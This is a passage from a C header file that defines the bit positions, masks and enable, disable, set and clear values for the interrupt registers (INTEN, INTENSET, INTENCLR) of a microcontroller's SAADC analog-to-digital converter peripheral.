#define SAADC_INTEN_CH7LIMITH_Enabled (1UL) /*!< Enable */
/* Bit 19 : Enable or disable interrupt for CH[6].LIMITL event */
#define SAADC_INTEN_CH6LIMITL_Pos (19UL) /*!< Position of CH6LIMITL field. */
#define SAADC_INTEN_CH6LIMITL_Msk (0x1UL << SAADC_INTEN_CH6LIMITL_Pos) /*!< Bit mask of CH6LIMITL field. */
#define SAADC_INTEN_CH6LIMITL_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH6LIMITL_Enabled (1UL) /*!< Enable */
/* Bit 18 : Enable or disable interrupt for CH[6].LIMITH event */
#define SAADC_INTEN_CH6LIMITH_Pos (18UL) /*!< Position of CH6LIMITH field. */
#define SAADC_INTEN_CH6LIMITH_Msk (0x1UL << SAADC_INTEN_CH6LIMITH_Pos) /*!< Bit mask of CH6LIMITH field. */
#define SAADC_INTEN_CH6LIMITH_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH6LIMITH_Enabled (1UL) /*!< Enable */
/* Bit 17 : Enable or disable interrupt for CH[5].LIMITL event */
#define SAADC_INTEN_CH5LIMITL_Pos (17UL) /*!< Position of CH5LIMITL field. */
#define SAADC_INTEN_CH5LIMITL_Msk (0x1UL << SAADC_INTEN_CH5LIMITL_Pos) /*!< Bit mask of CH5LIMITL field. */
#define SAADC_INTEN_CH5LIMITL_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH5LIMITL_Enabled (1UL) /*!< Enable */
/* Bit 16 : Enable or disable interrupt for CH[5].LIMITH event */
#define SAADC_INTEN_CH5LIMITH_Pos (16UL) /*!< Position of CH5LIMITH field. */
#define SAADC_INTEN_CH5LIMITH_Msk (0x1UL << SAADC_INTEN_CH5LIMITH_Pos) /*!< Bit mask of CH5LIMITH field. */
#define SAADC_INTEN_CH5LIMITH_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH5LIMITH_Enabled (1UL) /*!< Enable */
/* Bit 15 : Enable or disable interrupt for CH[4].LIMITL event */
#define SAADC_INTEN_CH4LIMITL_Pos (15UL) /*!< Position of CH4LIMITL field. */
#define SAADC_INTEN_CH4LIMITL_Msk (0x1UL << SAADC_INTEN_CH4LIMITL_Pos) /*!< Bit mask of CH4LIMITL field. */
#define SAADC_INTEN_CH4LIMITL_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH4LIMITL_Enabled (1UL) /*!< Enable */
/* Bit 14 : Enable or disable interrupt for CH[4].LIMITH event */
#define SAADC_INTEN_CH4LIMITH_Pos (14UL) /*!< Position of CH4LIMITH field. */
#define SAADC_INTEN_CH4LIMITH_Msk (0x1UL << SAADC_INTEN_CH4LIMITH_Pos) /*!< Bit mask of CH4LIMITH field. */
#define SAADC_INTEN_CH4LIMITH_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH4LIMITH_Enabled (1UL) /*!< Enable */
/* Bit 13 : Enable or disable interrupt for CH[3].LIMITL event */
#define SAADC_INTEN_CH3LIMITL_Pos (13UL) /*!< Position of CH3LIMITL field. */
#define SAADC_INTEN_CH3LIMITL_Msk (0x1UL << SAADC_INTEN_CH3LIMITL_Pos) /*!< Bit mask of CH3LIMITL field. */
#define SAADC_INTEN_CH3LIMITL_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH3LIMITL_Enabled (1UL) /*!< Enable */
/* Bit 12 : Enable or disable interrupt for CH[3].LIMITH event */
#define SAADC_INTEN_CH3LIMITH_Pos (12UL) /*!< Position of CH3LIMITH field. */
#define SAADC_INTEN_CH3LIMITH_Msk (0x1UL << SAADC_INTEN_CH3LIMITH_Pos) /*!< Bit mask of CH3LIMITH field. */
#define SAADC_INTEN_CH3LIMITH_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH3LIMITH_Enabled (1UL) /*!< Enable */
/* Bit 11 : Enable or disable interrupt for CH[2].LIMITL event */
#define SAADC_INTEN_CH2LIMITL_Pos (11UL) /*!< Position of CH2LIMITL field. */
#define SAADC_INTEN_CH2LIMITL_Msk (0x1UL << SAADC_INTEN_CH2LIMITL_Pos) /*!< Bit mask of CH2LIMITL field. */
#define SAADC_INTEN_CH2LIMITL_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH2LIMITL_Enabled (1UL) /*!< Enable */
/* Bit 10 : Enable or disable interrupt for CH[2].LIMITH event */
#define SAADC_INTEN_CH2LIMITH_Pos (10UL) /*!< Position of CH2LIMITH field. */
#define SAADC_INTEN_CH2LIMITH_Msk (0x1UL << SAADC_INTEN_CH2LIMITH_Pos) /*!< Bit mask of CH2LIMITH field. */
#define SAADC_INTEN_CH2LIMITH_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH2LIMITH_Enabled (1UL) /*!< Enable */
/* Bit 9 : Enable or disable interrupt for CH[1].LIMITL event */
#define SAADC_INTEN_CH1LIMITL_Pos (9UL) /*!< Position of CH1LIMITL field. */
#define SAADC_INTEN_CH1LIMITL_Msk (0x1UL << SAADC_INTEN_CH1LIMITL_Pos) /*!< Bit mask of CH1LIMITL field. */
#define SAADC_INTEN_CH1LIMITL_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH1LIMITL_Enabled (1UL) /*!< Enable */
/* Bit 8 : Enable or disable interrupt for CH[1].LIMITH event */
#define SAADC_INTEN_CH1LIMITH_Pos (8UL) /*!< Position of CH1LIMITH field. */
#define SAADC_INTEN_CH1LIMITH_Msk (0x1UL << SAADC_INTEN_CH1LIMITH_Pos) /*!< Bit mask of CH1LIMITH field. */
#define SAADC_INTEN_CH1LIMITH_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH1LIMITH_Enabled (1UL) /*!< Enable */
/* Bit 7 : Enable or disable interrupt for CH[0].LIMITL event */
#define SAADC_INTEN_CH0LIMITL_Pos (7UL) /*!< Position of CH0LIMITL field. */
#define SAADC_INTEN_CH0LIMITL_Msk (0x1UL << SAADC_INTEN_CH0LIMITL_Pos) /*!< Bit mask of CH0LIMITL field. */
#define SAADC_INTEN_CH0LIMITL_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH0LIMITL_Enabled (1UL) /*!< Enable */
/* Bit 6 : Enable or disable interrupt for CH[0].LIMITH event */
#define SAADC_INTEN_CH0LIMITH_Pos (6UL) /*!< Position of CH0LIMITH field. */
#define SAADC_INTEN_CH0LIMITH_Msk (0x1UL << SAADC_INTEN_CH0LIMITH_Pos) /*!< Bit mask of CH0LIMITH field. */
#define SAADC_INTEN_CH0LIMITH_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CH0LIMITH_Enabled (1UL) /*!< Enable */
/* Bit 5 : Enable or disable interrupt for STOPPED event */
#define SAADC_INTEN_STOPPED_Pos (5UL) /*!< Position of STOPPED field. */
#define SAADC_INTEN_STOPPED_Msk (0x1UL << SAADC_INTEN_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define SAADC_INTEN_STOPPED_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_STOPPED_Enabled (1UL) /*!< Enable */
/* Bit 4 : Enable or disable interrupt for CALIBRATEDONE event */
#define SAADC_INTEN_CALIBRATEDONE_Pos (4UL) /*!< Position of CALIBRATEDONE field. */
#define SAADC_INTEN_CALIBRATEDONE_Msk (0x1UL << SAADC_INTEN_CALIBRATEDONE_Pos) /*!< Bit mask of CALIBRATEDONE field. */
#define SAADC_INTEN_CALIBRATEDONE_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_CALIBRATEDONE_Enabled (1UL) /*!< Enable */
/* Bit 3 : Enable or disable interrupt for RESULTDONE event */
#define SAADC_INTEN_RESULTDONE_Pos (3UL) /*!< Position of RESULTDONE field. */
#define SAADC_INTEN_RESULTDONE_Msk (0x1UL << SAADC_INTEN_RESULTDONE_Pos) /*!< Bit mask of RESULTDONE field. */
#define SAADC_INTEN_RESULTDONE_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_RESULTDONE_Enabled (1UL) /*!< Enable */
/* Bit 2 : Enable or disable interrupt for DONE event */
#define SAADC_INTEN_DONE_Pos (2UL) /*!< Position of DONE field. */
#define SAADC_INTEN_DONE_Msk (0x1UL << SAADC_INTEN_DONE_Pos) /*!< Bit mask of DONE field. */
#define SAADC_INTEN_DONE_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_DONE_Enabled (1UL) /*!< Enable */
/* Bit 1 : Enable or disable interrupt for END event */
#define SAADC_INTEN_END_Pos (1UL) /*!< Position of END field. */
#define SAADC_INTEN_END_Msk (0x1UL << SAADC_INTEN_END_Pos) /*!< Bit mask of END field. */
#define SAADC_INTEN_END_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_END_Enabled (1UL) /*!< Enable */
/* Bit 0 : Enable or disable interrupt for STARTED event */
#define SAADC_INTEN_STARTED_Pos (0UL) /*!< Position of STARTED field. */
#define SAADC_INTEN_STARTED_Msk (0x1UL << SAADC_INTEN_STARTED_Pos) /*!< Bit mask of STARTED field. */
#define SAADC_INTEN_STARTED_Disabled (0UL) /*!< Disable */
#define SAADC_INTEN_STARTED_Enabled (1UL) /*!< Enable */
/* Register: SAADC_INTENSET */
/* Description: Enable interrupt */
/* Bit 21 : Write '1' to Enable interrupt for CH[7].LIMITL event */
#define SAADC_INTENSET_CH7LIMITL_Pos (21UL) /*!< Position of CH7LIMITL field. */
#define SAADC_INTENSET_CH7LIMITL_Msk (0x1UL << SAADC_INTENSET_CH7LIMITL_Pos) /*!< Bit mask of CH7LIMITL field. */
#define SAADC_INTENSET_CH7LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH7LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH7LIMITL_Set (1UL) /*!< Enable */
/* Bit 20 : Write '1' to Enable interrupt for CH[7].LIMITH event */
#define SAADC_INTENSET_CH7LIMITH_Pos (20UL) /*!< Position of CH7LIMITH field. */
#define SAADC_INTENSET_CH7LIMITH_Msk (0x1UL << SAADC_INTENSET_CH7LIMITH_Pos) /*!< Bit mask of CH7LIMITH field. */
#define SAADC_INTENSET_CH7LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH7LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH7LIMITH_Set (1UL) /*!< Enable */
/* Bit 19 : Write '1' to Enable interrupt for CH[6].LIMITL event */
#define SAADC_INTENSET_CH6LIMITL_Pos (19UL) /*!< Position of CH6LIMITL field. */
#define SAADC_INTENSET_CH6LIMITL_Msk (0x1UL << SAADC_INTENSET_CH6LIMITL_Pos) /*!< Bit mask of CH6LIMITL field. */
#define SAADC_INTENSET_CH6LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH6LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH6LIMITL_Set (1UL) /*!< Enable */
/* Bit 18 : Write '1' to Enable interrupt for CH[6].LIMITH event */
#define SAADC_INTENSET_CH6LIMITH_Pos (18UL) /*!< Position of CH6LIMITH field. */
#define SAADC_INTENSET_CH6LIMITH_Msk (0x1UL << SAADC_INTENSET_CH6LIMITH_Pos) /*!< Bit mask of CH6LIMITH field. */
#define SAADC_INTENSET_CH6LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH6LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH6LIMITH_Set (1UL) /*!< Enable */
/* Bit 17 : Write '1' to Enable interrupt for CH[5].LIMITL event */
#define SAADC_INTENSET_CH5LIMITL_Pos (17UL) /*!< Position of CH5LIMITL field. */
#define SAADC_INTENSET_CH5LIMITL_Msk (0x1UL << SAADC_INTENSET_CH5LIMITL_Pos) /*!< Bit mask of CH5LIMITL field. */
#define SAADC_INTENSET_CH5LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH5LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH5LIMITL_Set (1UL) /*!< Enable */
/* Bit 16 : Write '1' to Enable interrupt for CH[5].LIMITH event */
#define SAADC_INTENSET_CH5LIMITH_Pos (16UL) /*!< Position of CH5LIMITH field. */
#define SAADC_INTENSET_CH5LIMITH_Msk (0x1UL << SAADC_INTENSET_CH5LIMITH_Pos) /*!< Bit mask of CH5LIMITH field. */
#define SAADC_INTENSET_CH5LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH5LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH5LIMITH_Set (1UL) /*!< Enable */
/* Bit 15 : Write '1' to Enable interrupt for CH[4].LIMITL event */
#define SAADC_INTENSET_CH4LIMITL_Pos (15UL) /*!< Position of CH4LIMITL field. */
#define SAADC_INTENSET_CH4LIMITL_Msk (0x1UL << SAADC_INTENSET_CH4LIMITL_Pos) /*!< Bit mask of CH4LIMITL field. */
#define SAADC_INTENSET_CH4LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH4LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH4LIMITL_Set (1UL) /*!< Enable */
/* Bit 14 : Write '1' to Enable interrupt for CH[4].LIMITH event */
#define SAADC_INTENSET_CH4LIMITH_Pos (14UL) /*!< Position of CH4LIMITH field. */
#define SAADC_INTENSET_CH4LIMITH_Msk (0x1UL << SAADC_INTENSET_CH4LIMITH_Pos) /*!< Bit mask of CH4LIMITH field. */
#define SAADC_INTENSET_CH4LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH4LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH4LIMITH_Set (1UL) /*!< Enable */
/* Bit 13 : Write '1' to Enable interrupt for CH[3].LIMITL event */
#define SAADC_INTENSET_CH3LIMITL_Pos (13UL) /*!< Position of CH3LIMITL field. */
#define SAADC_INTENSET_CH3LIMITL_Msk (0x1UL << SAADC_INTENSET_CH3LIMITL_Pos) /*!< Bit mask of CH3LIMITL field. */
#define SAADC_INTENSET_CH3LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH3LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH3LIMITL_Set (1UL) /*!< Enable */
/* Bit 12 : Write '1' to Enable interrupt for CH[3].LIMITH event */
#define SAADC_INTENSET_CH3LIMITH_Pos (12UL) /*!< Position of CH3LIMITH field. */
#define SAADC_INTENSET_CH3LIMITH_Msk (0x1UL << SAADC_INTENSET_CH3LIMITH_Pos) /*!< Bit mask of CH3LIMITH field. */
#define SAADC_INTENSET_CH3LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH3LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH3LIMITH_Set (1UL) /*!< Enable */
/* Bit 11 : Write '1' to Enable interrupt for CH[2].LIMITL event */
#define SAADC_INTENSET_CH2LIMITL_Pos (11UL) /*!< Position of CH2LIMITL field. */
#define SAADC_INTENSET_CH2LIMITL_Msk (0x1UL << SAADC_INTENSET_CH2LIMITL_Pos) /*!< Bit mask of CH2LIMITL field. */
#define SAADC_INTENSET_CH2LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH2LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH2LIMITL_Set (1UL) /*!< Enable */
/* Bit 10 : Write '1' to Enable interrupt for CH[2].LIMITH event */
#define SAADC_INTENSET_CH2LIMITH_Pos (10UL) /*!< Position of CH2LIMITH field. */
#define SAADC_INTENSET_CH2LIMITH_Msk (0x1UL << SAADC_INTENSET_CH2LIMITH_Pos) /*!< Bit mask of CH2LIMITH field. */
#define SAADC_INTENSET_CH2LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH2LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH2LIMITH_Set (1UL) /*!< Enable */
/* Bit 9 : Write '1' to Enable interrupt for CH[1].LIMITL event */
#define SAADC_INTENSET_CH1LIMITL_Pos (9UL) /*!< Position of CH1LIMITL field. */
#define SAADC_INTENSET_CH1LIMITL_Msk (0x1UL << SAADC_INTENSET_CH1LIMITL_Pos) /*!< Bit mask of CH1LIMITL field. */
#define SAADC_INTENSET_CH1LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH1LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH1LIMITL_Set (1UL) /*!< Enable */
/* Bit 8 : Write '1' to Enable interrupt for CH[1].LIMITH event */
#define SAADC_INTENSET_CH1LIMITH_Pos (8UL) /*!< Position of CH1LIMITH field. */
#define SAADC_INTENSET_CH1LIMITH_Msk (0x1UL << SAADC_INTENSET_CH1LIMITH_Pos) /*!< Bit mask of CH1LIMITH field. */
#define SAADC_INTENSET_CH1LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH1LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH1LIMITH_Set (1UL) /*!< Enable */
/* Bit 7 : Write '1' to Enable interrupt for CH[0].LIMITL event */
#define SAADC_INTENSET_CH0LIMITL_Pos (7UL) /*!< Position of CH0LIMITL field. */
#define SAADC_INTENSET_CH0LIMITL_Msk (0x1UL << SAADC_INTENSET_CH0LIMITL_Pos) /*!< Bit mask of CH0LIMITL field. */
#define SAADC_INTENSET_CH0LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH0LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH0LIMITL_Set (1UL) /*!< Enable */
/* Bit 6 : Write '1' to Enable interrupt for CH[0].LIMITH event */
#define SAADC_INTENSET_CH0LIMITH_Pos (6UL) /*!< Position of CH0LIMITH field. */
#define SAADC_INTENSET_CH0LIMITH_Msk (0x1UL << SAADC_INTENSET_CH0LIMITH_Pos) /*!< Bit mask of CH0LIMITH field. */
#define SAADC_INTENSET_CH0LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CH0LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CH0LIMITH_Set (1UL) /*!< Enable */
/* Bit 5 : Write '1' to Enable interrupt for STOPPED event */
#define SAADC_INTENSET_STOPPED_Pos (5UL) /*!< Position of STOPPED field. */
#define SAADC_INTENSET_STOPPED_Msk (0x1UL << SAADC_INTENSET_STOPPED_Pos) /*!< Bit mask of STOPPED field. */
#define SAADC_INTENSET_STOPPED_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_STOPPED_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_STOPPED_Set (1UL) /*!< Enable */
/* Bit 4 : Write '1' to Enable interrupt for CALIBRATEDONE event */
#define SAADC_INTENSET_CALIBRATEDONE_Pos (4UL) /*!< Position of CALIBRATEDONE field. */
#define SAADC_INTENSET_CALIBRATEDONE_Msk (0x1UL << SAADC_INTENSET_CALIBRATEDONE_Pos) /*!< Bit mask of CALIBRATEDONE field. */
#define SAADC_INTENSET_CALIBRATEDONE_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_CALIBRATEDONE_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_CALIBRATEDONE_Set (1UL) /*!< Enable */
/* Bit 3 : Write '1' to Enable interrupt for RESULTDONE event */
#define SAADC_INTENSET_RESULTDONE_Pos (3UL) /*!< Position of RESULTDONE field. */
#define SAADC_INTENSET_RESULTDONE_Msk (0x1UL << SAADC_INTENSET_RESULTDONE_Pos) /*!< Bit mask of RESULTDONE field. */
#define SAADC_INTENSET_RESULTDONE_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_RESULTDONE_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_RESULTDONE_Set (1UL) /*!< Enable */
/* Bit 2 : Write '1' to Enable interrupt for DONE event */
#define SAADC_INTENSET_DONE_Pos (2UL) /*!< Position of DONE field. */
#define SAADC_INTENSET_DONE_Msk (0x1UL << SAADC_INTENSET_DONE_Pos) /*!< Bit mask of DONE field. */
#define SAADC_INTENSET_DONE_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_DONE_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_DONE_Set (1UL) /*!< Enable */
/* Bit 1 : Write '1' to Enable interrupt for END event */
#define SAADC_INTENSET_END_Pos (1UL) /*!< Position of END field. */
#define SAADC_INTENSET_END_Msk (0x1UL << SAADC_INTENSET_END_Pos) /*!< Bit mask of END field. */
#define SAADC_INTENSET_END_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_END_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_END_Set (1UL) /*!< Enable */
/* Bit 0 : Write '1' to Enable interrupt for STARTED event */
#define SAADC_INTENSET_STARTED_Pos (0UL) /*!< Position of STARTED field. */
#define SAADC_INTENSET_STARTED_Msk (0x1UL << SAADC_INTENSET_STARTED_Pos) /*!< Bit mask of STARTED field. */
#define SAADC_INTENSET_STARTED_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENSET_STARTED_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENSET_STARTED_Set (1UL) /*!< Enable */
/* Register: SAADC_INTENCLR */
/* Description: Disable interrupt */
/* Bit 21 : Write '1' to Disable interrupt for CH[7].LIMITL event */
#define SAADC_INTENCLR_CH7LIMITL_Pos (21UL) /*!< Position of CH7LIMITL field. */
#define SAADC_INTENCLR_CH7LIMITL_Msk (0x1UL << SAADC_INTENCLR_CH7LIMITL_Pos) /*!< Bit mask of CH7LIMITL field. */
#define SAADC_INTENCLR_CH7LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH7LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH7LIMITL_Clear (1UL) /*!< Disable */
/* Bit 20 : Write '1' to Disable interrupt for CH[7].LIMITH event */
#define SAADC_INTENCLR_CH7LIMITH_Pos (20UL) /*!< Position of CH7LIMITH field. */
#define SAADC_INTENCLR_CH7LIMITH_Msk (0x1UL << SAADC_INTENCLR_CH7LIMITH_Pos) /*!< Bit mask of CH7LIMITH field. */
#define SAADC_INTENCLR_CH7LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH7LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH7LIMITH_Clear (1UL) /*!< Disable */
/* Bit 19 : Write '1' to Disable interrupt for CH[6].LIMITL event */
#define SAADC_INTENCLR_CH6LIMITL_Pos (19UL) /*!< Position of CH6LIMITL field. */
#define SAADC_INTENCLR_CH6LIMITL_Msk (0x1UL << SAADC_INTENCLR_CH6LIMITL_Pos) /*!< Bit mask of CH6LIMITL field. */
#define SAADC_INTENCLR_CH6LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH6LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH6LIMITL_Clear (1UL) /*!< Disable */
/* Bit 18 : Write '1' to Disable interrupt for CH[6].LIMITH event */
#define SAADC_INTENCLR_CH6LIMITH_Pos (18UL) /*!< Position of CH6LIMITH field. */
#define SAADC_INTENCLR_CH6LIMITH_Msk (0x1UL << SAADC_INTENCLR_CH6LIMITH_Pos) /*!< Bit mask of CH6LIMITH field. */
#define SAADC_INTENCLR_CH6LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH6LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH6LIMITH_Clear (1UL) /*!< Disable */
/* Bit 17 : Write '1' to Disable interrupt for CH[5].LIMITL event */
#define SAADC_INTENCLR_CH5LIMITL_Pos (17UL) /*!< Position of CH5LIMITL field. */
#define SAADC_INTENCLR_CH5LIMITL_Msk (0x1UL << SAADC_INTENCLR_CH5LIMITL_Pos) /*!< Bit mask of CH5LIMITL field. */
#define SAADC_INTENCLR_CH5LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH5LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH5LIMITL_Clear (1UL) /*!< Disable */
/* Bit 16 : Write '1' to Disable interrupt for CH[5].LIMITH event */
#define SAADC_INTENCLR_CH5LIMITH_Pos (16UL) /*!< Position of CH5LIMITH field. */
#define SAADC_INTENCLR_CH5LIMITH_Msk (0x1UL << SAADC_INTENCLR_CH5LIMITH_Pos) /*!< Bit mask of CH5LIMITH field. */
#define SAADC_INTENCLR_CH5LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH5LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH5LIMITH_Clear (1UL) /*!< Disable */
/* Bit 15 : Write '1' to Disable interrupt for CH[4].LIMITL event */
#define SAADC_INTENCLR_CH4LIMITL_Pos (15UL) /*!< Position of CH4LIMITL field. */
#define SAADC_INTENCLR_CH4LIMITL_Msk (0x1UL << SAADC_INTENCLR_CH4LIMITL_Pos) /*!< Bit mask of CH4LIMITL field. */
#define SAADC_INTENCLR_CH4LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH4LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH4LIMITL_Clear (1UL) /*!< Disable */
/* Bit 14 : Write '1' to Disable interrupt for CH[4].LIMITH event */
#define SAADC_INTENCLR_CH4LIMITH_Pos (14UL) /*!< Position of CH4LIMITH field. */
#define SAADC_INTENCLR_CH4LIMITH_Msk (0x1UL << SAADC_INTENCLR_CH4LIMITH_Pos) /*!< Bit mask of CH4LIMITH field. */
#define SAADC_INTENCLR_CH4LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH4LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH4LIMITH_Clear (1UL) /*!< Disable */
/* Bit 13 : Write '1' to Disable interrupt for CH[3].LIMITL event */
#define SAADC_INTENCLR_CH3LIMITL_Pos (13UL) /*!< Position of CH3LIMITL field. */
#define SAADC_INTENCLR_CH3LIMITL_Msk (0x1UL << SAADC_INTENCLR_CH3LIMITL_Pos) /*!< Bit mask of CH3LIMITL field. */
#define SAADC_INTENCLR_CH3LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH3LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH3LIMITL_Clear (1UL) /*!< Disable */
/* Bit 12 : Write '1' to Disable interrupt for CH[3].LIMITH event */
#define SAADC_INTENCLR_CH3LIMITH_Pos (12UL) /*!< Position of CH3LIMITH field. */
#define SAADC_INTENCLR_CH3LIMITH_Msk (0x1UL << SAADC_INTENCLR_CH3LIMITH_Pos) /*!< Bit mask of CH3LIMITH field. */
#define SAADC_INTENCLR_CH3LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH3LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH3LIMITH_Clear (1UL) /*!< Disable */
/* Bit 11 : Write '1' to Disable interrupt for CH[2].LIMITL event */
#define SAADC_INTENCLR_CH2LIMITL_Pos (11UL) /*!< Position of CH2LIMITL field. */
#define SAADC_INTENCLR_CH2LIMITL_Msk (0x1UL << SAADC_INTENCLR_CH2LIMITL_Pos) /*!< Bit mask of CH2LIMITL field. */
#define SAADC_INTENCLR_CH2LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH2LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH2LIMITL_Clear (1UL) /*!< Disable */
/* Bit 10 : Write '1' to Disable interrupt for CH[2].LIMITH event */
#define SAADC_INTENCLR_CH2LIMITH_Pos (10UL) /*!< Position of CH2LIMITH field. */
#define SAADC_INTENCLR_CH2LIMITH_Msk (0x1UL << SAADC_INTENCLR_CH2LIMITH_Pos) /*!< Bit mask of CH2LIMITH field. */
#define SAADC_INTENCLR_CH2LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH2LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH2LIMITH_Clear (1UL) /*!< Disable */
/* Bit 9 : Write '1' to Disable interrupt for CH[1].LIMITL event */
#define SAADC_INTENCLR_CH1LIMITL_Pos (9UL) /*!< Position of CH1LIMITL field. */
#define SAADC_INTENCLR_CH1LIMITL_Msk (0x1UL << SAADC_INTENCLR_CH1LIMITL_Pos) /*!< Bit mask of CH1LIMITL field. */
#define SAADC_INTENCLR_CH1LIMITL_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH1LIMITL_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH1LIMITL_Clear (1UL) /*!< Disable */
/* Bit 8 : Write '1' to Disable interrupt for CH[1].LIMITH event */
#define SAADC_INTENCLR_CH1LIMITH_Pos (8UL) /*!< Position of CH1LIMITH field. */
#define SAADC_INTENCLR_CH1LIMITH_Msk (0x1UL << SAADC_INTENCLR_CH1LIMITH_Pos) /*!< Bit mask of CH1LIMITH field. */
#define SAADC_INTENCLR_CH1LIMITH_Disabled (0UL) /*!< Read: Disabled */
#define SAADC_INTENCLR_CH1LIMITH_Enabled (1UL) /*!< Read: Enabled */
#define SAADC_INTENCLR_CH1LIMITH_Clear (1UL) /*!< Disable */
